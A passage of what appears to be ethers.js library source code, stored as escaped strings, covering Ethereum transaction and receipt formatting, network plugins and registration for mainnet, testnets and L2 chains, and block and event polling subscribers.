receiptsRoot: allowNull(formatHash, null),\n blobGasUsed: allowNull(getBigInt, null),\n excessBlobGas: allowNull(getBigInt, null),\n miner: allowNull(getAddress),\n prevRandao: allowNull(formatHash, null),\n extraData: formatData,\n baseFeePerGas: allowNull(getBigInt)\n}, {\n prevRandao: [\"mixHash\"]\n});\nexport function formatBlock(value) {\n const result = _formatBlock(value);\n result.transactions = value.transactions.map((tx) => {\n if (typeof (tx) === \"string\") {\n return tx;\n }\n return formatTransactionResponse(tx);\n });\n return result;\n}\nconst _formatReceiptLog = object({\n transactionIndex: getNumber,\n blockNumber: getNumber,\n transactionHash: formatHash,\n address: getAddress,\n topics: arrayOf(formatHash),\n data: formatData,\n index: getNumber,\n blockHash: formatHash,\n}, {\n index: [\"logIndex\"]\n});\nexport function formatReceiptLog(value) {\n return _formatReceiptLog(value);\n}\nconst _formatTransactionReceipt = object({\n to: allowNull(getAddress, null),\n from: allowNull(getAddress, null),\n contractAddress: allowNull(getAddress, null),\n // should be allowNull(hash), but broken-EIP-658 support is handled in receipt\n index: getNumber,\n root: allowNull(hexlify),\n gasUsed: getBigInt,\n blobGasUsed: allowNull(getBigInt, null),\n logsBloom: allowNull(formatData),\n blockHash: formatHash,\n hash: formatHash,\n logs: arrayOf(formatReceiptLog),\n blockNumber: getNumber,\n //confirmations: allowNull(getNumber, null),\n cumulativeGasUsed: getBigInt,\n effectiveGasPrice: allowNull(getBigInt),\n blobGasPrice: allowNull(getBigInt, null),\n status: allowNull(getNumber),\n type: allowNull(getNumber, 0)\n}, {\n effectiveGasPrice: [\"gasPrice\"],\n hash: [\"transactionHash\"],\n index: [\"transactionIndex\"],\n});\nexport function formatTransactionReceipt(value) {\n return _formatTransactionReceipt(value);\n}\nexport function formatTransactionResponse(value) {\n // Some clients (TestRPC) do strange things like return 0x0 for the\n // 0 address; correct this to be a real address\n if (value.to && getBigInt(value.to) === BN_0) {\n value.to = \"0x0000000000000000000000000000000000000000\";\n }\n const result = object({\n hash: formatHash,\n // Some nodes do not return this, usually test nodes (like Ganache)\n index: allowNull(getNumber, undefined),\n type: (value) => {\n if (value === \"0x\" || value == null) {\n return 0;\n }\n return getNumber(value);\n },\n accessList: allowNull(accessListify, null),\n blobVersionedHashes: allowNull(arrayOf(formatHash, true), null),\n authorizationList: allowNull(arrayOf((v) => {\n let sig;\n if (v.signature) {\n sig = v.signature;\n }\n else {\n let yParity = v.yParity;\n if (yParity === \"0x1b\") {\n yParity = 0;\n }\n else if (yParity === \"0x1c\") {\n yParity = 1;\n }\n sig = Object.assign({}, v, { yParity });\n }\n return {\n address: getAddress(v.address),\n chainId: getBigInt(v.chainId),\n nonce: getBigInt(v.nonce),\n signature: Signature.from(sig)\n };\n }, false), null),\n blockHash: allowNull(formatHash, null),\n blockNumber: allowNull(getNumber, null),\n transactionIndex: allowNull(getNumber, null),\n from: getAddress,\n // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas) must be set\n gasPrice: allowNull(getBigInt),\n maxPriorityFeePerGas: allowNull(getBigInt),\n maxFeePerGas: allowNull(getBigInt),\n maxFeePerBlobGas: allowNull(getBigInt, null),\n gasLimit: getBigInt,\n to: allowNull(getAddress, null),\n value: getBigInt,\n nonce: getNumber,\n data: formatData,\n creates: allowNull(getAddress, null),\n chainId: allowNull(getBigInt, null)\n }, {\n data: [\"input\"],\n gasLimit: [\"gas\"],\n index: [\"transactionIndex\"]\n })(value);\n // If to and creates are empty, populate the creates from the value\n if (result.to == null && result.creates == null) {\n result.creates = getCreateAddress(result);\n }\n // @TODO: Check fee data\n // Add an access list to supported transaction types\n if ((value.type === 1 || value.type === 2) && value.accessList == null) {\n result.accessList = [];\n }\n // Compute the signature\n if (value.signature) {\n result.signature = Signature.from(value.signature);\n }\n else {\n result.signature = Signature.from(value);\n }\n // Some backends omit ChainId on legacy transactions, but we can compute it\n if (result.chainId == null) {\n const chainId = result.signature.legacyChainId;\n if (chainId != null) {\n result.chainId = chainId;\n }\n }\n // @TODO: check chainID\n /*\n if (value.chainId != null) {\n let chainId = value.chainId;\n\n if (isHexString(chainId)) {\n chainId = BigNumber.from(chainId).toNumber();\n }\n\n result.chainId = chainId;\n\n } else {\n let chainId = value.networkId;\n\n // geth-etc returns chainId\n if (chainId == null && result.v == null) {\n chainId = value.chainId;\n }\n\n if (isHexString(chainId)) {\n chainId = BigNumber.from(chainId).toNumber();\n }\n\n if (typeof(chainId) !== \"number\" && result.v != null) {\n chainId = (result.v - 35) / 2;\n if (chainId < 0) { chainId = 0; }\n chainId = parseInt(chainId);\n }\n\n if (typeof(chainId) !== \"number\") { chainId = 0; }\n\n result.chainId = chainId;\n }\n */\n // 0x0000... should actually be null\n if (result.blockHash && getBigInt(result.blockHash) === BN_0) {\n result.blockHash = null;\n }\n return result;\n}\n//# sourceMappingURL=format.js.map","import { defineProperties } from \"../utils/properties.js\";\nimport { assertArgument } from \"../utils/index.js\";\nconst EnsAddress = \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\";\n/**\n * A **NetworkPlugin** provides additional functionality on a [[Network]].\n */\nexport class NetworkPlugin {\n /**\n * The name of the plugin.\n *\n * It is recommended to use reverse-domain-notation, which permits\n * unique names with a known authority as well as hierarchal entries.\n */\n name;\n /**\n * Creates a new **NetworkPlugin**.\n */\n constructor(name) {\n defineProperties(this, { name });\n }\n /**\n * Creates a copy of this plugin.\n */\n clone() {\n return new NetworkPlugin(this.name);\n }\n}\n/**\n * A **GasCostPlugin** allows a network to provide alternative values when\n * computing the intrinsic gas required for a transaction.\n */\nexport class GasCostPlugin extends NetworkPlugin {\n /**\n * The block number to treat these values as valid from.\n *\n * This allows a hardfork to have updated values included as well as\n * mulutiple hardforks to be supported.\n */\n effectiveBlock;\n /**\n * The transactions base fee.\n */\n txBase;\n /**\n * The fee for creating a new account.\n */\n txCreate;\n /**\n * The fee per zero-byte in the data.\n */\n txDataZero;\n /**\n * The fee per non-zero-byte in the data.\n */\n txDataNonzero;\n /**\n * The fee per storage key in the [[link-eip-2930]] access list.\n */\n txAccessListStorageKey;\n /**\n * The fee per address in the [[link-eip-2930]] access list.\n */\n txAccessListAddress;\n /**\n * Creates a new GasCostPlugin from %%effectiveBlock%% until the\n * latest block or another GasCostPlugin supercedes that block number,\n * with the associated %%costs%%.\n */\n constructor(effectiveBlock, costs) {\n if (effectiveBlock == null) {\n effectiveBlock = 0;\n }\n super(`org.ethers.network.plugins.GasCost#${(effectiveBlock || 0)}`);\n const props = { effectiveBlock };\n function set(name, nullish) {\n let value = (costs || {})[name];\n if (value == null) {\n value = nullish;\n }\n assertArgument(typeof (value) === \"number\", `invalud value for ${name}`, \"costs\", costs);\n props[name] = value;\n }\n set(\"txBase\", 21000);\n set(\"txCreate\", 32000);\n set(\"txDataZero\", 4);\n set(\"txDataNonzero\", 16);\n set(\"txAccessListStorageKey\", 1900);\n set(\"txAccessListAddress\", 2400);\n defineProperties(this, props);\n }\n clone() {\n return new GasCostPlugin(this.effectiveBlock, this);\n }\n}\n/**\n * An **EnsPlugin** allows a [[Network]] to specify the ENS Registry\n * Contract address and the target network to use when using that\n * contract.\n *\n * Various testnets have their own instance of the contract to use, but\n * in general, the mainnet instance supports multi-chain addresses and\n * should be used.\n */\nexport class EnsPlugin extends NetworkPlugin {\n /**\n * The ENS Registrty Contract address.\n */\n address;\n /**\n * The chain ID that the ENS contract lives on.\n */\n targetNetwork;\n /**\n * Creates a new **EnsPlugin** connected to %%address%% on the\n * %%targetNetwork%%. The default ENS address and mainnet is used\n * if unspecified.\n */\n constructor(address, targetNetwork) {\n super(\"org.ethers.plugins.network.Ens\");\n defineProperties(this, {\n address: (address || EnsAddress),\n targetNetwork: ((targetNetwork == null) ? 1 : targetNetwork)\n });\n }\n clone() {\n return new EnsPlugin(this.address, this.targetNetwork);\n }\n}\n/**\n * A **FeeDataNetworkPlugin** allows a network to provide and alternate\n * means to specify its fee data.\n *\n * For example, a network which does not support [[link-eip-1559]] may\n * choose to use a Gas Station site to approximate the gas price.\n */\nexport class FeeDataNetworkPlugin extends NetworkPlugin {\n #feeDataFunc;\n /**\n * The fee data function provided to the constructor.\n */\n get feeDataFunc() {\n return this.#feeDataFunc;\n }\n /**\n * Creates a new **FeeDataNetworkPlugin**.\n */\n constructor(feeDataFunc) {\n super(\"org.ethers.plugins.network.FeeData\");\n this.#feeDataFunc = feeDataFunc;\n }\n /**\n * Resolves to the fee data.\n */\n async getFeeData(provider) {\n return await this.#feeDataFunc(provider);\n }\n clone() {\n return new FeeDataNetworkPlugin(this.#feeDataFunc);\n }\n}\nexport class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin {\n #url;\n #processFunc;\n /**\n * The URL to initialize the FetchRequest with in %%processFunc%%.\n */\n get url() { return this.#url; }\n /**\n * The callback to use when computing the FeeData.\n */\n get processFunc() { return this.#processFunc; }\n /**\n * Creates a new **FetchUrlFeeDataNetworkPlugin** which will\n * be used when computing the fee data for the network.\n */\n constructor(url, processFunc) {\n super(\"org.ethers.plugins.network.FetchUrlFeeDataPlugin\");\n this.#url = url;\n this.#processFunc = processFunc;\n }\n // We are immutable, so we can serve as our own clone\n clone() { return this; }\n}\n/*\nexport class CustomBlockNetworkPlugin extends NetworkPlugin {\n readonly #blockFunc: (provider: Provider, block: BlockParams) => Block;\n readonly #blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block;\n\n constructor(blockFunc: (provider: Provider, block: BlockParams) => Block, blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block) {\n super(\"org.ethers.network-plugins.custom-block\");\n this.#blockFunc = blockFunc;\n this.#blockWithTxsFunc = blockWithTxsFunc;\n }\n\n async getBlock(provider: Provider, block: BlockParams): Promise> {\n return await this.#blockFunc(provider, block);\n }\n\n async getBlockions(provider: Provider, block: BlockParams): Promise> {\n return await this.#blockWithTxsFunc(provider, block);\n }\n\n clone(): CustomBlockNetworkPlugin {\n return new CustomBlockNetworkPlugin(this.#blockFunc, this.#blockWithTxsFunc);\n }\n}\n*/\n//# sourceMappingURL=plugins-network.js.map","/**\n * A **Network** encapsulates the various properties required to\n * interact with a specific chain.\n *\n * @_subsection: api/providers:Networks [networks]\n */\nimport { accessListify } from \"../transaction/index.js\";\nimport { getBigInt, assert, assertArgument } from \"../utils/index.js\";\nimport { EnsPlugin, FetchUrlFeeDataNetworkPlugin, GasCostPlugin } from \"./plugins-network.js\";\n/* * * *\n// Networks which operation against an L2 can use this plugin to\n// specify how to access L1, for the purpose of resolving ENS,\n// for example.\nexport class LayerOneConnectionPlugin extends NetworkPlugin {\n readonly provider!: Provider;\n// @TODO: Rename to ChainAccess and allow for connecting to any chain\n constructor(provider: Provider) {\n super(\"org.ethers.plugins.layer-one-connection\");\n defineProperties(this, { provider });\n }\n\n clone(): LayerOneConnectionPlugin {\n return new LayerOneConnectionPlugin(this.provider);\n }\n}\n*/\nconst Networks = new Map();\n/**\n * A **Network** provides access to a chain's properties and allows\n * for plug-ins to extend functionality.\n */\nexport class Network {\n #name;\n #chainId;\n #plugins;\n /**\n * Creates a new **Network** for %%name%% and %%chainId%%.\n */\n constructor(name, chainId) {\n this.#name = name;\n this.#chainId = getBigInt(chainId);\n this.#plugins = new Map();\n }\n /**\n * Returns a JSON-compatible representation of a Network.\n */\n toJSON() {\n return { name: this.name, chainId: String(this.chainId) };\n }\n /**\n * The network common name.\n *\n * This is the canonical name, as networks migh have multiple\n * names.\n */\n get name() { return this.#name; }\n set name(value) { this.#name = value; }\n /**\n * The network chain ID.\n */\n get chainId() { return this.#chainId; }\n set chainId(value) { this.#chainId = getBigInt(value, \"chainId\"); }\n /**\n * Returns true if %%other%% matches this network. Any chain ID\n * must match, and if no chain ID is present, the name must match.\n *\n * This method does not currently check for additional properties,\n * such as ENS address or plug-in compatibility.\n */\n matches(other) {\n if (other == null) {\n return false;\n }\n if (typeof (other) === \"string\") {\n try {\n return (this.chainId === getBigInt(other));\n }\n catch (error) { }\n return (this.name === other);\n }\n if (typeof (other) === \"number\" || typeof (other) === \"bigint\") {\n try {\n return (this.chainId === getBigInt(other));\n }\n catch (error) { }\n return false;\n }\n if (typeof (other) === \"object\") {\n if (other.chainId != null) {\n try {\n return (this.chainId === getBigInt(other.chainId));\n }\n catch (error) { }\n return false;\n }\n if (other.name != null) {\n return (this.name === other.name);\n }\n return false;\n }\n return false;\n }\n /**\n * Returns the list of plugins currently attached to this Network.\n */\n get plugins() {\n return Array.from(this.#plugins.values());\n }\n /**\n * Attach a new %%plugin%% to this Network. The network name\n * must be unique, excluding any fragment.\n */\n attachPlugin(plugin) {\n if (this.#plugins.get(plugin.name)) {\n throw new Error(`cannot replace existing plugin: ${plugin.name} `);\n }\n this.#plugins.set(plugin.name, plugin.clone());\n return this;\n }\n /**\n * Return the plugin, if any, matching %%name%% exactly. Plugins\n * with fragments will not be returned unless %%name%% includes\n * a fragment.\n */\n getPlugin(name) {\n return (this.#plugins.get(name)) || null;\n }\n /**\n * Gets a list of all plugins that match %%name%%, with otr without\n * a fragment.\n */\n getPlugins(basename) {\n return (this.plugins.filter((p) => (p.name.split(\"#\")[0] === basename)));\n }\n /**\n * Create a copy of this Network.\n */\n clone() {\n const clone = new Network(this.name, this.chainId);\n this.plugins.forEach((plugin) => {\n clone.attachPlugin(plugin.clone());\n });\n return clone;\n }\n /**\n * Compute the intrinsic gas required for a transaction.\n *\n * A GasCostPlugin can be attached to override the default\n * values.\n */\n computeIntrinsicGas(tx) {\n const costs = this.getPlugin(\"org.ethers.plugins.network.GasCost\") || (new GasCostPlugin());\n let gas = costs.txBase;\n if (tx.to == null) {\n gas += costs.txCreate;\n }\n if (tx.data) {\n for (let i = 2; i < tx.data.length; i += 2) {\n if (tx.data.substring(i, i + 2) === \"00\") {\n gas += costs.txDataZero;\n }\n else {\n gas += costs.txDataNonzero;\n }\n }\n }\n if (tx.accessList) {\n const accessList = accessListify(tx.accessList);\n for (const addr in accessList) {\n gas += costs.txAccessListAddress + costs.txAccessListStorageKey * accessList[addr].storageKeys.length;\n }\n }\n return gas;\n }\n /**\n * Returns a new Network for the %%network%% name or chainId.\n */\n static from(network) {\n injectCommonNetworks();\n // Default network\n if (network == null) {\n return Network.from(\"mainnet\");\n }\n // Canonical name or chain ID\n if (typeof (network) === \"number\") {\n network = BigInt(network);\n }\n if (typeof (network) === \"string\" || typeof (network) === \"bigint\") {\n const networkFunc = Networks.get(network);\n if (networkFunc) {\n return networkFunc();\n }\n if (typeof (network) === \"bigint\") {\n return new Network(\"unknown\", network);\n }\n assertArgument(false, \"unknown network\", \"network\", network);\n }\n // Clonable with network-like abilities\n if (typeof (network.clone) === \"function\") {\n const clone = network.clone();\n //if (typeof(network.name) !== \"string\" || typeof(network.chainId) !== \"number\") {\n //}\n return clone;\n }\n // Networkish\n if (typeof (network) === \"object\") {\n assertArgument(typeof (network.name) === \"string\" && typeof (network.chainId) === \"number\", \"invalid network object name or chainId\", \"network\", network);\n const custom = new Network((network.name), (network.chainId));\n if (network.ensAddress || network.ensNetwork != null) {\n custom.attachPlugin(new EnsPlugin(network.ensAddress, network.ensNetwork));\n }\n //if ((network).layerOneConnection) {\n // custom.attachPlugin(new LayerOneConnectionPlugin((network).layerOneConnection));\n //}\n return custom;\n }\n assertArgument(false, \"invalid network\", \"network\", network);\n }\n /**\n * Register %%nameOrChainId%% with a function which returns\n * an instance of a Network representing that chain.\n */\n static register(nameOrChainId, networkFunc) {\n if (typeof (nameOrChainId) === \"number\") {\n nameOrChainId = BigInt(nameOrChainId);\n }\n const existing = Networks.get(nameOrChainId);\n if (existing) {\n assertArgument(false, `conflicting network for ${JSON.stringify(existing.name)}`, \"nameOrChainId\", nameOrChainId);\n }\n Networks.set(nameOrChainId, networkFunc);\n }\n}\n// We don't want to bring in formatUnits because it is backed by\n// FixedNumber and we want to keep Networks tiny. The values\n// included by the Gas Stations are also IEEE 754 with lots of\n// rounding issues and exceed the strict checks formatUnits has.\nfunction parseUnits(_value, decimals) {\n const value = String(_value);\n if (!value.match(/^[0-9.]+$/)) {\n throw new Error(`invalid gwei value: ${_value}`);\n }\n // Break into [ whole, fraction ]\n const comps = value.split(\".\");\n if (comps.length === 1) {\n comps.push(\"\");\n }\n // More than 1 decimal point or too many fractional positions\n if (comps.length !== 2) {\n throw new Error(`invalid gwei value: ${_value}`);\n }\n // Pad the fraction to 9 decimalplaces\n while (comps[1].length < decimals) {\n comps[1] += \"0\";\n }\n // Too many decimals and some non-zero ending, take the ceiling\n if (comps[1].length > 9) {\n let frac = BigInt(comps[1].substring(0, 9));\n if (!comps[1].substring(9).match(/^0+$/)) {\n frac++;\n }\n comps[1] = frac.toString();\n }\n return BigInt(comps[0] + comps[1]);\n}\n// Used by Polygon to use a gas station for fee data\nfunction getGasStationPlugin(url) {\n return new FetchUrlFeeDataNetworkPlugin(url, async (fetchFeeData, provider, request) => {\n // Prevent Cloudflare from blocking our request in node.js\n request.setHeader(\"User-Agent\", \"ethers\");\n let response;\n try {\n const [_response, _feeData] = await Promise.all([\n request.send(), fetchFeeData()\n ]);\n response = _response;\n const payload = response.bodyJson.standard;\n const feeData = {\n gasPrice: _feeData.gasPrice,\n maxFeePerGas: parseUnits(payload.maxFee, 9),\n maxPriorityFeePerGas: parseUnits(payload.maxPriorityFee, 9),\n };\n return feeData;\n }\n catch (error) {\n assert(false, `error encountered with polygon gas station (${JSON.stringify(request.url)})`, \"SERVER_ERROR\", { request, response, error });\n }\n });\n}\n// See: https://chainlist.org\nlet injected = false;\nfunction injectCommonNetworks() {\n if (injected) {\n return;\n }\n injected = true;\n /// Register popular Ethereum networks\n function registerEth(name, chainId, options) {\n const func = function () {\n const network = new Network(name, chainId);\n // We use 0 to disable ENS\n if (options.ensNetwork != null) {\n network.attachPlugin(new EnsPlugin(null, options.ensNetwork));\n }\n network.attachPlugin(new GasCostPlugin());\n (options.plugins || []).forEach((plugin) => {\n network.attachPlugin(plugin);\n });\n return network;\n };\n // Register the network by name and chain ID\n Network.register(name, func);\n Network.register(chainId, func);\n if (options.altNames) {\n options.altNames.forEach((name) => {\n Network.register(name, func);\n });\n }\n }\n registerEth(\"mainnet\", 1, { ensNetwork: 1, altNames: [\"homestead\"] });\n registerEth(\"ropsten\", 3, { ensNetwork: 3 });\n registerEth(\"rinkeby\", 4, { ensNetwork: 4 });\n registerEth(\"goerli\", 5, { ensNetwork: 5 });\n registerEth(\"kovan\", 42, { ensNetwork: 42 });\n registerEth(\"sepolia\", 11155111, { ensNetwork: 11155111 });\n registerEth(\"holesky\", 17000, { ensNetwork: 17000 });\n registerEth(\"classic\", 61, {});\n registerEth(\"classicKotti\", 6, {});\n registerEth(\"arbitrum\", 42161, {\n ensNetwork: 1,\n });\n registerEth(\"arbitrum-goerli\", 421613, {});\n registerEth(\"arbitrum-sepolia\", 421614, {});\n registerEth(\"base\", 8453, { ensNetwork: 1 });\n registerEth(\"base-goerli\", 84531, {});\n registerEth(\"base-sepolia\", 84532, {});\n registerEth(\"bnb\", 56, { ensNetwork: 1 });\n registerEth(\"bnbt\", 97, {});\n registerEth(\"linea\", 59144, { ensNetwork: 1 });\n registerEth(\"linea-goerli\", 59140, {});\n registerEth(\"linea-sepolia\", 59141, {});\n registerEth(\"matic\", 137, {\n ensNetwork: 1,\n plugins: [\n getGasStationPlugin(\"https:/\\/gasstation.polygon.technology/v2\")\n ]\n });\n registerEth(\"matic-amoy\", 80002, {});\n registerEth(\"matic-mumbai\", 80001, {\n altNames: [\"maticMumbai\", \"maticmum\"],\n plugins: [\n getGasStationPlugin(\"https:/\\/gasstation-testnet.polygon.technology/v2\")\n ]\n });\n registerEth(\"optimism\", 10, {\n ensNetwork: 1,\n plugins: []\n });\n registerEth(\"optimism-goerli\", 420, {});\n registerEth(\"optimism-sepolia\", 11155420, {});\n registerEth(\"xdai\", 100, { ensNetwork: 1 });\n}\n//# sourceMappingURL=network.js.map","import { assert, isHexString } from \"../utils/index.js\";\nfunction copy(obj) {\n return JSON.parse(JSON.stringify(obj));\n}\n/**\n * Return the polling subscriber for common events.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport function getPollingSubscriber(provider, event) {\n if (event === \"block\") {\n return new PollingBlockSubscriber(provider);\n }\n if (isHexString(event, 32)) {\n return new PollingTransactionSubscriber(provider, event);\n }\n assert(false, \"unsupported polling event\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getPollingSubscriber\", info: { event }\n });\n}\n// @TODO: refactor this\n/**\n * A **PollingBlockSubscriber** polls at a regular interval for a change\n * in the block number.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class PollingBlockSubscriber {\n #provider;\n #poller;\n #interval;\n // The most recent block we have scanned for events. The value -2\n // indicates we still need to fetch an initial block number\n #blockNumber;\n /**\n * Create a new **PollingBlockSubscriber** attached to %%provider%%.\n */\n constructor(provider) {\n this.#provider = provider;\n this.#poller = null;\n this.#interval = 4000;\n this.#blockNumber = -2;\n }\n /**\n * The polling interval.\n */\n get pollingInterval() { return this.#interval; }\n set pollingInterval(value) { this.#interval = value; }\n async #poll() {\n try {\n const blockNumber = await this.#provider.getBlockNumber();\n // Bootstrap poll to setup our initial block number\n if (this.#blockNumber === -2) {\n this.#blockNumber = blockNumber;\n return;\n }\n // @TODO: Put a cap on the maximum number of events per loop?\n if (blockNumber !== this.#blockNumber) {\n for (let b = this.#blockNumber + 1; b <= blockNumber; b++) {\n // We have been stopped\n if (this.#poller == null) {\n return;\n }\n await this.#provider.emit(\"block\", b);\n }\n this.#blockNumber = blockNumber;\n }\n }\n catch (error) {\n // @TODO: Minor bump, add an \"error\" event to let subscribers\n // know things went awry.\n //console.log(error);\n }\n // We have been stopped\n if (this.#poller == null) {\n return;\n }\n this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval);\n }\n start() {\n if (this.#poller) {\n return;\n }\n this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval);\n this.#poll();\n }\n stop() {\n if (!this.#poller) {\n return;\n }\n this.#provider._clearTimeout(this.#poller);\n this.#poller = null;\n }\n pause(dropWhilePaused) {\n this.stop();\n if (dropWhilePaused) {\n this.#blockNumber = -2;\n }\n }\n resume() {\n this.start();\n }\n}\n/**\n * An **OnBlockSubscriber** can be sub-classed, with a [[_poll]]\n * implmentation which will be called on every new block.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class OnBlockSubscriber {\n #provider;\n #poll;\n #running;\n /**\n * Create a new **OnBlockSubscriber** attached to %%provider%%.\n */\n constructor(provider) {\n this.#provider = provider;\n this.#running = false;\n this.#poll = (blockNumber) => {\n this._poll(blockNumber, this.#provider);\n };\n }\n /**\n * Called on every new block.\n */\n async _poll(blockNumber, provider) {\n throw new Error(\"sub-classes must override this\");\n }\n start() {\n if (this.#running) {\n return;\n }\n this.#running = true;\n this.#poll(-2);\n this.#provider.on(\"block\", this.#poll);\n }\n stop() {\n if (!this.#running) {\n return;\n }\n this.#running = false;\n this.#provider.off(\"block\", this.#poll);\n }\n pause(dropWhilePaused) { this.stop(); }\n resume() { this.start(); }\n}\nexport class PollingBlockTagSubscriber extends OnBlockSubscriber {\n #tag;\n #lastBlock;\n constructor(provider, tag) {\n super(provider);\n this.#tag = tag;\n this.#lastBlock = -2;\n }\n pause(dropWhilePaused) {\n if (dropWhilePaused) {\n this.#lastBlock = -2;\n }\n super.pause(dropWhilePaused);\n }\n async _poll(blockNumber, provider) {\n const block = await provider.getBlock(this.#tag);\n if (block == null) {\n return;\n }\n if (this.#lastBlock === -2) {\n this.#lastBlock = block.number;\n }\n else if (block.number > this.#lastBlock) {\n provider.emit(this.#tag, block.number);\n this.#lastBlock = block.number;\n }\n }\n}\n/**\n * @_ignore:\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class PollingOrphanSubscriber extends OnBlockSubscriber {\n #filter;\n constructor(provider, filter) {\n super(provider);\n this.#filter = copy(filter);\n }\n async _poll(blockNumber, provider) {\n throw new Error(\"@TODO\");\n console.log(this.#filter);\n }\n}\n/**\n * A **PollingTransactionSubscriber** will poll for a given transaction\n * hash for its receipt.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class PollingTransactionSubscriber extends OnBlockSubscriber {\n #hash;\n /**\n * Create a new **PollingTransactionSubscriber** attached to\n * %%provider%%, listening for %%hash%%.\n */\n constructor(provider, hash) {\n super(provider);\n this.#hash = hash;\n }\n async _poll(blockNumber, provider) {\n const tx = await provider.getTransactionReceipt(this.#hash);\n if (tx) {\n provider.emit(this.#hash, tx);\n }\n }\n}\n/**\n * A **PollingEventSubscriber** will poll for a given filter for its logs.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class PollingEventSubscriber {\n #provider;\n #filter;\n #poller;\n #running;\n // The most recent block we have scanned for events. The value -2\n // indicates we still need to fetch an initial block number\n #blockNumber;\n /**\n * Create a new **PollingTransactionSubscriber** attached to\n * %%provider%%, listening for %%filter%%.\n */\n constructor(provider, filter) {\n this.#provider = provider;\n this.#filter = copy(filter);\n this.#poller = this.#poll.bind(this);\n this.#running = false;\n this.#blockNumber = -2;\n }\n async #poll(blockNumber) {\n // The initial block hasn't been determined yet\n if (this.#blockNumber === -2) {\n return;\n }\n const filter = copy(this.#filter);\n filter.fromBlock = this.#blockNumber + 1;\n filter.toBlock = blockNumber;\n const logs = await this.#provider.getLogs(filter);\n // No logs could just mean the node has not indexed them yet,\n // so we keep a sliding window of 60 blocks to keep scanning\n if (logs.length === 0) {\n if (this.#blockNumber < blockNumber - 60) {\n this.#blockNumber = blockNumber - 60;\n }\n return;\n }\n for (const log of logs) {\n this.#provider.emit(this.#filter, log);\n // Only advance the block number when logs were found to\n // account for networks (like BNB and Polygon) which may\n // sacrifice event consistency for block event speed\n this.#blockNumber = log.blockNumber;\n }\n }\n start() {\n if (this.#running) {\n return;\n }\n this.#running = true;\n if (this.#blockNumber === -2) {\n this.#provider.getBlockNumber().then((blockNumber) => {\n this.#blockNumber = blockNumber;\n });\n }\n this.#provider.on(\"block\", this.#poller);\n }\n stop() {\n if (!this.#running) {\n return;\n }\n this.#running = false;\n this.#provider.off(\"block\", this.#poller);\n }\n pause(dropWhilePaused) {\n this.stop();\n if (dropWhilePaused) {\n this.#blockNumber = -2;\n }\n }\n resume() {\n this.start();\n }\n}\n//# sourceMappingURL=subscriber-polling.js.map","/**\n * The available providers should suffice for most developers purposes,\n * but the [[AbstractProvider]] class has many features which enable\n * sub-classing it for specific purposes.\n *\n * @_section: api/providers/abstract-provider: Subclassing Provider [abstract-provider]\n */\n// @TODO\n// Event coalescence\n// When we register an event with an async value (e.g. address is a Signer\n// or ENS name), we need to add it immeidately for the Event API, but also\n// need time to resolve the address. Upon resolving the address, we need to\n// migrate the listener to the static event. We also need to maintain a map\n// of Signer/ENS name to address so we can sync respond to listenerCount.\nimport { getAddress, resolveAddress } from \"../address/index.js\";\nimport { ZeroAddress } from \"../constants/index.js\";\nimport { Contract } from \"../contract/index.js\";\nimport { namehash } from \"../hash/index.js\";\nimport { Transaction } from \"../transaction/index.js\";\nimport { concat, dataLength, dataSlice, hexlify, isHexString, getBigInt, getBytes, getNumber, isCallException, isError, makeError, assert, assertArgument, FetchRequest, toBeArray, toQuantity, defineProperties, EventPayload, resolveProperties, toUtf8String } from \"../utils/index.js\";\nimport { EnsResolver } from \"./ens-resolver.js\";\nimport { formatBlock, formatLog, formatTransactionReceipt, formatTransactionResponse } from \"./format.js\";\nimport { Network } from \"./network.js\";\nimport { copyRequest, Block, FeeData, Log, TransactionReceipt, TransactionResponse } from \"./provider.js\";\nimport { PollingBlockSubscriber, PollingBlockTagSubscriber, PollingEventSubscriber, PollingOrphanSubscriber, PollingTransactionSubscriber } from \"./subscriber-polling.js\";\n// Constants\nconst BN_2 = BigInt(2);\nconst MAX_CCIP_REDIRECTS = 10;\nfunction isPromise(value) {\n return (value && typeof (value.then) === \"function\");\n}\nfunction getTag(prefix, value) {\n return prefix + \":\" + JSON.stringify(value, (k, v) => {\n if (v == null) {\n return \"null\";\n }\n if (typeof (v) === \"bigint\") {\n return `bigint:${v.toString()}`;\n }\n if (typeof (v) === \"string\") {\n return v.toLowerCase();\n }\n // Sort object keys\n if (typeof (v) === \"object\" && !Array.isArray(v)) {\n const keys = Object.keys(v);\n keys.sort();\n return keys.reduce((accum, key) => {\n accum[key] = v[key];\n return accum;\n }, {});\n }\n return v;\n });\n}\n/**\n * An **UnmanagedSubscriber** is useful for events which do not require\n * any additional management, such as ``\"debug\"`` which only requires\n * emit in synchronous event loop triggered calls.\n */\nexport class UnmanagedSubscriber {\n /**\n * The name fof the event.\n */\n name;\n /**\n * Create a new UnmanagedSubscriber with %%name%%.\n */\n constructor(name) { defineProperties(this, { name }); }\n start() { }\n stop() { }\n pause(dropWhilePaused) { }\n resume() { }\n}\nfunction copy(value) {\n return JSON.parse(JSON.stringify(value));\n}\nfunction concisify(items) {\n items = Array.from((new Set(items)).values());\n items.sort();\n return items;\n}\nasync function getSubscription(_event, provider) {\n if (_event == null) {\n throw new Error(\"invalid event\");\n }\n // Normalize topic array info an EventFilter\n if (Array.isArray(_event)) {\n _event = { topics: _event };\n }\n if (typeof (_event) === \"string\") {\n switch (_event) {\n case \"block\":\n case \"debug\":\n case \"error\":\n case \"finalized\":\n case \"network\":\n case \"pending\":\n case \"safe\": {\n return { type: _event, tag: _event };\n }\n }\n }\n if (isHexString(_event, 32)) {\n const hash = _event.toLowerCase();\n return { type: \"transaction\", tag: getTag(\"tx\", { hash }), hash };\n }\n if (_event.orphan) {\n const event = _event;\n // @TODO: Should lowercase and whatnot things here instead of copy...\n return { type: \"orphan\", tag: getTag(\"orphan\", event), filter: copy(event) };\n }\n if ((_event.address || _event.topics)) {\n const event = _event;\n const 